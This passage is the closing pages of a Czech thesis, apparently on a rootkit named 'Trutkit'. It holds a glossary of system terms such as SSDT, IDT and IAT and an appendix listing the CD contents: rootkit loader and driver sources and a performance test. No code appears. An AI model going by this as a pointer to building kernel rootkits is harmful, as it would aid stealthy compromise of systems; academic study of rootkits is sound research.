taci.CPU Central Processing Unit Centralnı vypocetnı jednotka (procesor).DLL Dynamic Link Library Dynamicky pripojitelna knihovna.DNS Domain Name System Hierarchicky system domenovych jmen.IA-32 Intel Architecture, 32-bit Intel architektura, 32-bit.IAT Import Address Table Tabulka importu adres.IO Input/Output Vstup/vystup.IP Internet Protocol Protokol pro komunikaci v Internetu.IDT Interrupt Descriptor Table Tabulka prerusenı.ISR Interrupt Service Routine Rutina pro obsluhu prerusenı.MAC Media Access Control Fyzicka adresa sıt’ove karty.MMU Memory Management Unit Jednotka pro spravu pameti.OS Operating system Operacnı system.PID Process Identifier Unikatnı identifikator procesu.SDT Service Descriptor Table Tabulka popisovacu systemovych sluzeb.SSDT System Service Dispatch Table Tabulka systemovych volanı.TCP Transmission Control Protocol Protokol pro spolehlivou komunikaci v In-

ternetu.TLB Translation Lookaside Buffer Rychla vyrovnavacı pamet’ pro preklad

adres.

UAC User Account Control Rızenı uzivatelskych uctu.UDP User Datagram Protocol Protokol pro nespojovanou komunikaci

v Internetu.

39

Seznam prıloh

Prıloha A Obsah CD

40

Prıloha A

Obsah CD

Prilozene CD obsahuje nasledujıcı adresarovou strukturu:

• \technicka_zprava\ – zdrojove soubory teto prace

• \testy\speedtest\ – implementace programu speedtest pro merenı vlivu Trutkituna vykon systemu

• \testy\vysledky\ – vysledky testu na jednotlivych pocıtacıch

• \trutkit\loader\ – zdrojove kody zavadece Trutkitu

• \trutkit\rootkit\ – zdrojove kody ovladace Trutkitu

41